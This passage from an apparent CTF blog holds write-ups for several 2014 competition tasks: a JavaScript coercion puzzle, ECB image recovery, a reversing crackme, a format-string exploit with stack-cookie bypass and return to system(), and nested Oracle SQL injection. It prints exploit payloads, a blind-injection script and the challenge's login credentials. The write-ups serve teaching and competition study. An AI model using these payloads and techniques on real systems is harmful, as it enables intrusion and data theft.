#406080;">}</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>args<span style="color: #308080;">.</span>length <span style="color: #308080;">!=</span> <span style="color: #008c00;">5</span><span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #1060b6;">uniq</span><span style="color: maroon;">"</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">var</span> flag <span style="color: #308080;">=</span> <span style="color: #0f4d75;">false</span><span style="color: #406080;">;</span> args<span style="color: #308080;">.</span>map<span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">)</span><span style="color: #406080;">{</span>flag <span style="color: #308080;">|=</span> x <span style="color: #308080;">>=</span> <span style="color: #008c00;">999</span><span style="color: #406080;">;</span><span style="color: #406080;">}</span><span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>flag<span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #1060b6;">big</span><span style="color: maroon;">"</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">var</span> m <span style="color: #308080;">=</span> args<span style="color: #308080;">.</span>map<span style="color: #308080;">(</span>mystop<span style="color: #308080;">)</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>m<span style="color: #308080;">.</span>filter<span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>i<span style="color: #308080;">)</span><span style="color: #406080;">{</span><span style="color: #200080; font-weight: bold;">return</span> m<span style="color: #308080;">[</span><span style="color: #008c00;">2</span><span style="color: #308080;">]</span><span style="color: #308080;">+</span><span style="color: #008c00;">3</span><span style="color: #308080;">*</span>i <span style="color: #308080;">==</span> x<span style="color: #406080;">;</span><span style="color: #406080;">}</span><span style="color: #308080;">)</span><span style="color: #308080;">.length</span> <span style="color: #308080;"><</span> <span style="color: #008c00;">3</span><span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #1060b6;">unsexy</span><span style="color: maroon;">"</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>m<span style="color: #308080;">.</span>filter<span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>i<span style="color: #308080;">)</span><span style="color: #406080;">{</span><span style="color: #200080; font-weight: bold;">return</span> x <span style="color: #308080;">==</span> args<span style="color: #308080;">[</span>i<span style="color: #308080;">]</span><span style="color: #406080;">;</span><span style="color: #406080;">}</span><span style="color: #308080;">)</span><span style="color: #308080;">.length</span> <span style="color: #308080;"><</span> <span style="color: #008c00;">3</span><span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #1060b6;">hippopotamus</span><span style="color: maroon;">"</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">if</span><span style="color: #308080;">(</span>m<span style="color: #308080;">.</span>filter<span style="color: #308080;">(</span><span style="color: #200080; font-weight: bold;">function</span><span style="color: #308080;">(</span>x<span style="color: #308080;">,</span>i<span style="color: #308080;">)</span><span style="color: #406080;">{</span><span style="color: #200080; font-weight: bold;">return</span> x <span style="color: #308080;">></span> m<span style="color: #308080;">[</span>i<span style="color: #308080;">-</span><span style="color: #008c00;">1</span><span style="color: #308080;">]</span><span style="color: #406080;">;</span><span style="color: #406080;">}</span><span style="color: #308080;">)</span><span style="color: #308080;">.length</span> <span style="color: #308080;">></span> <span style="color: #008c00;">3</span><span style="color: #308080;">)</span> <span style="color: #200080; font-weight: bold;">return</span> <span style="color: maroon;">"</span><span style="color: #1060b6;">banana phone</span><span style="color: maroon;">"</span><span style="color: #406080;">;</span>
<span style="color: #200080; font-weight: bold;">return</span> FLAG<span style="color: #406080;">;</span>
<span style="color: #406080;">}</span></pre>
</blockquote>
<div>
<br /></div>
<div>
Oh, look, there are some checks that exclude a lot of values.</div>
<div>
<br /></div>
<div>
<ul>
<li>The keys have to be unique and under 1000</li>
<li>For each number in the key, mystop is called (array m)</li>
<li>At least 3 items have to follow the formula: m[2] + 3*i == x</li>
<li>At least 3 items have to be equal to the key itself</li>
<li><strike>The keys cannot be in increasing order</strike></li>
</ul>
</div>
<div>
<br />
Edit: that last part is a lie, they are sorted by the <span style="font-family: Courier New, Courier, monospace;">filter</span> function first. Thanks to <a href="https://twitter.com/mathias">@mathias</a> for the clarification, here is his <a href="https://github.com/ctfs/write-ups/tree/master/plaid-ctf-2014/halphow2js#readme">write-up</a> too.<br />
<br /></div>
<div>
The strongest limitation seems to be number 4, since we hadn't seen many numbers that would map to themselves, only 6 and 1. So how can we have 3? This is were it starts becoming a web task. Look closely at the filter. It uses ==, which is vulnerable, since it doesn't check type. Bingo. One tiny problem is that the values we pass to filter will all be strings, since prompt returns a string. All we have to play with is parsing now. During testing, I found the following weird issue with <span style="font-family: Courier New, Courier, monospace;">mystop</span>:</div>
<div>
<br /></div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">> mystop("2")<br />1<br />> mystop("2e0")<br />2<br />> mystop("2e00")<br />2</span></blockquote>
</div>
<div>
<br /></div>
<div>
So this is how we can make a value map to itself, though this only seems to work for 2. The rest is easy, we can arrange our (mystop mapped) values like this:</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">2, 2, 2, 11, 14</span></blockquote>
<div>
<br /></div>
<div>
Then the formula we need to satisfy will apply for 3 elements (0, 3, 4). All we needed now was to find 2 numbers that map to 11 and 14. Final payload:</div>
<div>
<br /></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">["2e0", "2e00", "2e000", "497", "944"]</span></blockquote>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJAm_BW6rFDjHkrOoooNXvF6-cLseEjjjpu7_KVwJqEYqNp2fqxZ0JEUA9JTHrg_gn2yhTHoDRwR2_nlmyvRbrQrwBUZlpDAFPaGWnNcqJHNsuqJkduHq8NCEw7hoM21HvyoUMo0ssJbA/s1600/halp_js_2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJAm_BW6rFDjHkrOoooNXvF6-cLseEjjjpu7_KVwJqEYqNp2fqxZ0JEUA9JTHrg_gn2yhTHoDRwR2_nlmyvRbrQrwBUZlpDAFPaGWnNcqJHNsuqJkduHq8NCEw7hoM21HvyoUMo0ssJbA/s1600/halp_js_2.png" height="104" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The flag</td></tr>
</tbody></table>
<div>
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-73670425844439163842014-04-05T17:19:00.000-07:002014-04-05T17:19:36.810-07:00Nuit Du Hack Quals - "Another One" writeup"Another One" was a crypto task for 300 points, but according to the number of solutions, it was the second easiest. Nonetheless, it was a cool little task, so I decided to make a quick writeup.<br />
<br />
The task description doesn't say too much about what to do: "This is a crypted image, you must extract the data.". Well, <i>duh</i>. After downloading the image, I realized that it's a bmp file. There must be a very good reason for using a bmp file here, otherwise it would be a waste of bandwidth. Let's look at the file in a hex editor.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_IsmEziwwySSiZTELSJ26ip_1dodp5lOtdsLjV31J7bNIC2llBtW_eldnuA5VkDsIN5deh_LDf5np7qJPh3MJIdGeV3I3gz2LE0Gzlweo6Az2rfK_e42XjmWABwzsqReKON4pYwaML_0/s1600/crypted_hex.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_IsmEziwwySSiZTELSJ26ip_1dodp5lOtdsLjV31J7bNIC2llBtW_eldnuA5VkDsIN5deh_LDf5np7qJPh3MJIdGeV3I3gz2LE0Gzlweo6Az2rfK_e42XjmWABwzsqReKON4pYwaML_0/s1600/crypted_hex.png" height="320" width="316" /></a></div>
<br />
It looks like there are some random bytes in the beginning, and then a lot of repetitions. Of course the bytes in the beginning aren't random, they are part of the header. Knowing the bmp format, we can tell that the bytes after the header are part of the bitmap data itself.<br />
<br />
How could the bmp be encrypted? Could it be a simple repeating xor key? It could, but then why is this picture a bmp? A big hint here is that the repeating part is 16 bytes long, which is the typical block size for block ciphers. If it's a block cipher, the mode has to be <a href="http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation">ECB</a>, since it's practically impossible for CBC to generate repeating blocks. If it's indeed encrypted using ECB, we have a solution. Assume that the repeating part is white, and display any block that isn't identical as a few black pixels next to each other.<br />
<br />
Since the rows are reversed in bmp files, we can go from the bottom, so that the image won't be flipped.<br />
<br />
There is one problem: we need to figure out the original size of the image, otherwise all we get is some mess. Let's try some numbers. Note that the size of the image gives us a clue about possible sizes. Fiddling around with an empty bmp file, 1440 * 960 gives a very similar result in size, so we can start off with 1440 as the width. Here's result.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzaZOeZ7y6v7ZCot08lQSqlV_M1MOKdqICIWAU4p47ih-07i8jszOvnvopta5KIMHwT0Bm2bS5lqVmSZNcyT4A5E04NdIfyxZ8bseeyHoT7TqzLPiZ9WxO0fJQnYOPdIgxFD-WpIVQlA/s1600/result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgzaZOeZ7y6v7ZCot08lQSqlV_M1MOKdqICIWAU4p47ih-07i8jszOvnvopta5KIMHwT0Bm2bS5lqVmSZNcyT4A5E04NdIfyxZ8bseeyHoT7TqzLPiZ9WxO0fJQnYOPdIgxFD-WpIVQlA/s1600/result.png" height="277" width="320" /></a></div>
<br />
This looks like the philosoraptor and some text, but it's not perfect. Next, we can try 2880, since it looks like 4 dinosaurs are overlapped. At this point we got a bit lucky, because Ubuntu's image viewer is awesome, and after zooming out, it fixed most of the errors. Then we mirrored the image and got this.<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdn5ZByqpQouw8tmNPzIAzGy1XZeRRAqsJzauGEBAhbNa_kHutBqapC5-rIOH19ega36c7YGGR7OI4R3brGps98_aR9ZXZzehpWI0gzeRy0iKCBK0vcxFzbAdjw2FW0hqy5EbCugr2PVg/s1600/solution.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdn5ZByqpQouw8tmNPzIAzGy1XZeRRAqsJzauGEBAhbNa_kHutBqapC5-rIOH19ega36c7YGGR7OI4R3brGps98_aR9ZXZzehpWI0gzeRy0iKCBK0vcxFzbAdjw2FW0hqy5EbCugr2PVg/s1600/solution.png" height="65" width="320" /></a></div>
<div>
<br />
It's not impossible to read the message now: </div>
<div>
<br /></div>
<div style="text-align: center;">
"AllMyLifeIThoughtAirWasFreeUntilIBoughtABagOfChips".</div>
<div>
<br /></div>
<div>
Here is the script that generated these images: <a href="https://gist.github.com/balidani/9999716">https://gist.github.com/balidani/9999716</a></div>
<div>
Thanks for the Nuit du Hack team for organizing the qualifier, we liked the challenges a lot.<br />
<br /></div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com7tag:blogger.com,1999:blog-7011836621605765499.post-22363635048541990412014-03-02T05:36:00.000-08:002014-03-02T05:36:04.358-08:00Boston Key Party - R3V3 writeupUnfortunately we didn't have too many people or too much time to compete in this year's Boston Key Party. It was a very well organized CTF, with some high quality tasks. Here is my writeup for the 250 point reversing task.<br />
<br />
<h2>
<span style="font-size: large;">R3V3</span></h2>
<br />
We received a 64-bit ELF, disguised as an exe file. This is what it does when we start it:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">$ ./R3v3.exe<br />[1]+ Stopped ./R3v3.exe</span></blockquote>
The binary was packed by UPX, so the first step was to unpack it.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">$ upx -d R3v3.exe</span></blockquote>
Then we loaded the file into IDA and looked around. There were some promising strings, that told us where to look in the code. The whole checking mechanism starts at 0x40112A. After some renaming, we found something that we have to patch in order to go forward with the solution:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">.text:0000000000401165 call bad_level<br />.text:000000000040116A call level_2</span></blockquote>
<div>
But since we ended up solving the whole task with just static analysis, we didn't have to do that. What I named as level_2 starts at 0x4011E4. This is where the fun begins. We are asked for a password and then some form of checksum is calculated, that has to be equal to 0x936.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj02BXDilyqQ-N_Ky8tEzNyzneCsnf5J0aGXZC8W0D7t3XmQ7E74JljDtQwbNBzExxdcDD68G6pMjiYCOQ346Ok-gq1eR5kLu_Obj4tNKz4cjltQbWufqwjizjFAmwL0c5_63xn6FOzY4/s1600/r3v3_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj02BXDilyqQ-N_Ky8tEzNyzneCsnf5J0aGXZC8W0D7t3XmQ7E74JljDtQwbNBzExxdcDD68G6pMjiYCOQ346Ok-gq1eR5kLu_Obj4tNKz4cjltQbWufqwjizjFAmwL0c5_63xn6FOzY4/s1600/r3v3_1.png" height="116" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The checksum algorithm is not very interesting here, because we ended up solving the task without having to consider it. The reason for this, is that we get enough information about the password in the next step, which is called level_1 here. (I named them backwards, starting from 0.) Level 1 (at 0x40126A) does 3 consecutive checks, and this is the heart of the crackme.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe1XsMJeto-fJmMOKbE7xaNEwCVYXt7dzgeLh3rbD-_TKyykJ-r4_j7BlNo0m06AESJNc7nreQWdYdF_Cxt3m8TwCy9ZLcR_C9la85vJnDkHhnWJZYhrYiPeVe-9gxKPlO-4PSnk3mHV0/s1600/r3v3_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe1XsMJeto-fJmMOKbE7xaNEwCVYXt7dzgeLh3rbD-_TKyykJ-r4_j7BlNo0m06AESJNc7nreQWdYdF_Cxt3m8TwCy9ZLcR_C9la85vJnDkHhnWJZYhrYiPeVe-9gxKPlO-4PSnk3mHV0/s1600/r3v3_2.png" height="247" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's look at those check_pass functions now. I will present only one of them here, because they are very similar. check_pass_3 uses 2 different indexes to go through our password. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ8w1r7IzzKlXTuf7eR9sRjuB9dQ1G0vqXD6x0Em2PJxHuv7EOeQ2Giu6Z8aHs35ntS3PVZsTYTjz5fMMHYWU6Oum59txp_T5-FMyhaFuWEEvb4v5Gkd9uFgBEVp8_a4PNLTE2LqckyXc/s1600/r3v3_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ8w1r7IzzKlXTuf7eR9sRjuB9dQ1G0vqXD6x0Em2PJxHuv7EOeQ2Giu6Z8aHs35ntS3PVZsTYTjz5fMMHYWU6Oum59txp_T5-FMyhaFuWEEvb4v5Gkd9uFgBEVp8_a4PNLTE2LqckyXc/s1600/r3v3_3.png" height="212" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Both index_1 and index_1b are incremented by 1 at each turn. Index_1 indexes an array I named _weird_iv_2. I didn't know what it was for at the time, a better fitting name would be checksum_arr_2. What this function does is basically compare pairs of password[i] + password[i + 2] to predefined numbers in the checksum array. This, and all the other check_pass functions give us lots of information about the password. Here it is summarised:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both;">
</div>
<ul>
<li>checksum_1[i] = password[i/3] + password[i/3 + 1] + password[i/3 + 2]</li>
<li>checksum_2[i] = password[i] + password[i + 2]</li>
<li>checksum_3[i] = password[i] + password[i + 3]</li>
</ul>
<div>
Here I was wishing that I knew how to use z3. Instead I had to solve it "by hand". It wasn't too hard, since if we guess the first character we can devise a whole 3 character block and the next character. Here is the code if anybody is interested: https://gist.github.com/balidani/596cd8cd11da0b955ff3</div>
<div>
<br /></div>
The resulting password was MA_SECONDO_VOI_E_STATO_ANTANI?. The final level will cut out "ANTANI" from this and display that as the key. </div>
<div>
<br /></div>
<div>
This was a simple but enjoyable reversing task. Thanks to the organizers for the nice CTF!</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com5tag:blogger.com,1999:blog-7011836621605765499.post-68382411577978784912014-02-09T08:14:00.001-08:002014-02-09T08:14:59.851-08:00Olympic CTF - pwn300 (echof) writeup<h2>
<span style="font-size: large;">The vulnerability</span></h2>
This task was a pwnable for 300 points, and it was fun to exploit. The name contains a big hint: there is a format string vulnerability in the program. Here are the relevant parts of the decompiled code:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">for ( i = 0; i <= 15; ++i ) {<br /> puts("msg?");<br /> fflush(stdout);<br /> bzero(&buf_2, 0x100u);<br /> read(0, &buf_2, 0x80u);<br /> buf_2_len = strlen((const char *)&buf_2);<br /> <br /> if ( strchr((const char *)&buf_2, 'n') ) {<br /> result = puts("i hate this symbol!");<br /> break;<br /> }<br /> <br /> mmap_buf = (char *)mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);<br /> <br /> *((_DWORD *)mmap_buf + 33) = 'ruoY';<br /> *((_DWORD *)mmap_buf + 34) = 'sem ';<br /> *((_DWORD *)mmap_buf + 35) = 'egas';<br /> *((_DWORD *)mmap_buf + 36) = 'd%( ';<br /> *((_DWORD *)mmap_buf + 37) = 'tyb ';<br /> *((_DWORD *)mmap_buf + 38) = ':)se';<br /> *((_DWORD *)mmap_buf + 39) = '\ns% ';<br /> mmap_buf[160] = 0;<br /> <br /> *((_DWORD *)mmap_buf + 32) = mmap_buf + 132;<br /> strncpy(mmap_buf, (const char *)&buf_2, 0x80u);<br /> mmap_buf[buf_2_len] = 0;<br /> <br /> sprintf((char *)&buf_2, *((const char **)mmap_buf + 32), buf_2_len, mmap_buf);<br /> puts((const char *)&buf_2);<br /> <br /> fflush(stdout);<br /> result = munmap(mmap_buf, 0x1000u);<br />}</span></blockquote>
Some key points:<br />
<ul>
<li>the read function will read 0x80 bytes and it doesn't use a terminating null byte.</li>
<li>we can't use <span style="font-family: Courier New, Courier, monospace;">%n</span> in the format string, so no arbitrary write yet</li>
<li><span style="font-family: Courier New, Courier, monospace;">(_DWORD *)mmap_buf + 32</span> will represent the beginning of the format string, and this is what we pass to the <span style="font-family: Courier New, Courier, monospace;">sprintf</span> function</li>
<li>the original address is <span style="font-family: Courier New, Courier, monospace;">mmap_buf + 132</span>, which leaves 128 bytes for the user input and 4 to store this address</li>
<li>there is a one byte overflow in <span style="font-family: Courier New, Courier, monospace;">strncpy</span>, since unlike <span style="font-family: Courier New, Courier, monospace;">read</span>, it does use a trailing zero</li>
<li>if we overflow 0x00 to the last byte of the address, it will point to the beginning of our input, and it will be interpreted as the format string</li>
<li>we can do this by passing exactly 128 bytes of data</li>
</ul>
<h2>
<span style="font-size: large;">The exploit</span></h2>
The vulnerability is clear now, but actual exploitation is many steps away. Since we can't use <span style="font-family: Courier New, Courier, monospace;">%n</span>, we have to transform this format string vulnerability into a stack-based buffer overflow. Here are the steps that we have to take to do that.<br />
<br />
<h3>
Leak the base address</h3>
Since ASLR is on, we have to leak a base address to know where we are in the memory. After looking at the stack in gdb, we can come up with the following payload:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">"%79$08x" + "_" * 120 + "\n"</span></blockquote>
We will have to subtract <span style="font-family: Courier New, Courier, monospace;">0xc10</span> from this value to get the base address. We also have to leak a stack address in the same fashion.<br />
<br />
<h3>
Find the return address</h3>
If we look at the stack in gdb, we can see that the return address is ~272 bytes after the user-supplied, formatted string on the stack. With this payload, we can overwrite the return address along with the first argument that we will get when we jump to the new return address:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">"%0162x" + "_" * 110 + addr * 2 + arg</span></blockquote>
<h3>
Defeat the stack protector</h3>
There is a stack cookie that we have to bypass. We can just leak it and overwrite it carefully when we are overflowing to the return address, but there is a catch: the last byte is always 0x00. Since we can send a message 16 times, it is easy to solve this though. When the return address is written, we overwrite the stack cookie with the leaked value, but put 0x41 (or anything really) to the last byte. On a second try, we overflow just enough bytes that the terminating zero will be placed to the last byte of the cookie.<br />
<br />
To leak the stack protector, we use "%78$08x" + "_" * (...)<br />
To place a terminating null char at the end of the cookie: "%0134x" + "_" * 121 + "\n"<br />
<br />
<h3>
Finding libc</h3>
This took me by far the most time, I guess I suck at finding libc versions. I ended up doing the same thing as before (see the writeup <a href="http://balidani.blogspot.hu/2013/12/30c3-ctf-todos-writeup.html">here</a>): I started leaking libc addresses as strings and found the copyright string.<br />
<br />
First, to get an address from libc we have to look at the got. The first address there will be for the read function. To read at address 0x41414141, we can use this input:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">AAAA + "_"*4 + "%14$08x" + "_" * 111 + "\n"</span></blockquote>
After a bunch of tries, I found the copyright string. The libc version was "Ubuntu EGLIBC 2.15-0ubuntu10.3". To confirm, I calculated the offset between fflush and read and checked it on my local copy. It was a match. Then I checked the address of the system function and leaked the beginning of its bytecode just to check that it wasn't removed. Luckily it was intact, so we came really close to the final exploitation.<br />
<br />
<h3>
Final exploit</h3>
The steps for the final exploit:<br />
<br />
<ul>
<li>Leak base address, stack protector and a stack address</li>
<li>Overwrite stack protector (with the mask), return address, argument to system and the payload itself</li>
<li>Put the zero byte in the stack protector</li>
<li>Finish the program so that the main function returns to system</li>
</ul>
<br />
Here is the payload for the first and second steps:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">"%79$08x %78$08x %10$08x " + "_" * 103 + "\n"<br />"%0176x" + "_" * 80 + (stack_protector | 0x41) + "_" * 12 + ret_addr * 2 + (stack_addr + 288) + "_" * 4 + "cat flag;#\n"</span></blockquote>
Actual code for the exploit can be found here: <a href="https://gist.github.com/balidani/84da5d0bf5d06106a4c2">https://gist.github.com/balidani/84da5d0bf5d06106a4c2</a><br />
<br />
Thanks to More Smoked Leet Chicken for the CTF. I only got to solve this task, but it was great!balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com21tag:blogger.com,1999:blog-7011836621605765499.post-84472067346282667542014-01-27T00:01:00.000-08:002014-01-27T00:01:18.993-08:00PHDays CTF Quals - Oracle writeupThe PHDays CTF Qualifier just ended. The tasks were pretty hard, but rewarding as well. Oracle was one of the harder tasks, but after a lot of trying and failing, I managed to solve it and was quite happy.<br />
<h2>
<span style="font-size: large;"><br /></span></h2>
<h2>
<span style="font-size: large;">
Van chase</span></h2>
All we get in the task description is an IP address and basic auth credentials. It is also hinted that there is a secret code for a product in the database that we need to find. When we try to access the page we get a message saying that the website is under construction. There are no cookies, nothing in the source of the page, and nothing in the metadata of the displayed PNG image. But if we check robots.txt, we get a clue:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">User-agent: *<br />Disallow: /address_shops.php?city=Moscow</span></blockquote>
<div>
Moving on, we can check what <span style="font-family: Courier New, Courier, monospace;">address_shops.php</span> does.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjrFWugC7J7NerLIRdOU9c5tvZij-6JalB8u48-lWHqcKSMU2xQ-UJ4He2AJWxxglbiWB4zWsdmndg2KDPEuZynacMby1XMrH74_heIhVMUW4DLgd8lXoeAo7w4wRj2P6aBDp7d8Yv5_Q/s1600/oracle_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjrFWugC7J7NerLIRdOU9c5tvZij-6JalB8u48-lWHqcKSMU2xQ-UJ4He2AJWxxglbiWB4zWsdmndg2KDPEuZynacMby1XMrH74_heIhVMUW4DLgd8lXoeAo7w4wRj2P6aBDp7d8Yv5_Q/s1600/oracle_1.png" height="225" width="320" /></a></div>
<div>
<br /></div>
<div>
Since the task is called Oracle, there is no way that this is not an SQLi challenge. Before we jump straight to the injection part, we can find a very helpful hint in the source of the page:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><!-- /address_shops.php?debug= --></span></blockquote>
</div>
<div>
If we pass the debug parameter in the request, we will see the whole SQL query as a comment in the page source. This helps a lot, especially since the original query is not very typical or guessable.<br />
<h2>
<span style="font-size: large;"><br /></span></h2>
<h2>
<span style="font-size: large;">
The hotel</span></h2>
</div>
<div>
Let's start injecting stuff and see if we can get some data from the database. The original query looks like this, and there are no restrictions or filters on the input:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">SELECT shop_pkg.get_city_branches('$city') AS branch FROM dual</span></blockquote>
</div>
These injected queries worked as expected, but UNION SELECT just didn't work. We guessed that it's because the stored procedure returns something that cannot be unioned with normal rows. So the only solution seemed like blind injection. I have a homebrew 'framework' for blind injection, I just had to write a get_bit function that leaks data from the database one bit at a time. It looked something like this:<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">def get_bit(payload):<br /> url = "http://195.133.87.173/address_shops.php?debug&city="<br /> resp = requests.get(url + payload, auth=('admin', 'P@ssw0rd9823_#@!hhqqyi'))<br /> return len(resp.text) > 1500</span></blockquote>
</div>
<div>
The payload was something like this, depending on what we wanted to leak:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">payload = "Moscow') as branch from dual where chr(%d) < (select substr(text,%d,1) from (select text,row_number() over (order by line asc) as rn from dba_source where owner='PHD_IV') where rn=" + sys.argv[1] + ")--"</span></blockquote>
</div>
<div>
Ugly huh? So we were stuck for a <b>long</b> time here. I tried dumping various parts of the db, but I always seemed to ask the wrong questions. The goal was of course to find something related to products in the database, but we didn't have access to some key parts of the db, and I didn't realize this until later.</div>
<div>
<br /></div>
<div>
Then I found that there are 2 other users that may be interesting: PHD_IV_OWNER1 and PHD_IV_OWNER2. The original user was PHD_IV. After this, it was a bit clearer that there are parts that just cannot be accessed from our own user, and we need to do something about it. </div>
<div>
<br /></div>
<div>
Then finally, we dumped the code for the package that contains the function <span style="font-family: Courier New, Courier, monospace;">get_city_branches</span>. This was very useful, because there was another SQL injection in the procedure itself that we didn't realize earlier. We had to go <a href="http://www.youtube.com/watch?v=1khghXRGb6k">deeper</a>. </div>
<h2>
<span style="font-size: large;"><br /></span></h2>
<h2>
<span style="font-size: large;">
Snow fortress</span></h2>
<div>
Here is the code for the package that had the second vulnerability: <a href="https://gist.github.com/balidani/81cf5fe6f777c418d4f0">https://gist.github.com/balidani/81cf5fe6f777c418d4f0</a></div>
<div>
<br /></div>
<div>
The problem is on line 21, where the parameter is just concatenated with the query string, which is then evaluated. Since we are one level deeper here, we need to use 2 apostrophes, so that they are escaped on the first level, but evaluated on the second. This is how the new query will look like, which finally enables us to inject stuff using UNION queries.</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">?city=a'' union select to_char(1) from dual--</span></blockquote>
<div>
We were also stuck here for some time, but not quite as long as on the previous step. We dumped many parts of the database, and found out about the table <span style="font-family: Courier New, Courier, monospace;">secret_products</span>. We still didn't have access to this table, so we had to keep looking for other ways. Eventually we found that PHD_IV_OWNER2 has a package called <span style="font-family: Courier New, Courier, monospace;">shop_private_pkg</span>. This package has functions that can access the table with the secret products.<br />
<br />
After loading the sources for this package, we found yet another vulnerability.<br />
<h2>
<span style="font-size: large;"><br /></span></h2>
<h2>
<span style="font-size: large;">Limbo</span></h2>
Here is the code for the third vulnerability: <a href="https://gist.github.com/balidani/51809708269b28fc5109">https://gist.github.com/balidani/51809708269b28fc5109</a><br />
<br />
After some inspection we can find that the function <span style="font-family: Courier New, Courier, monospace;">GET_PRODUCT_QUANTITY</span> has the same problem as we've seen before, so we can exploit this the same way. One small problem is that the result for this query has to be a number, so we had to convert things accordingly.<br />
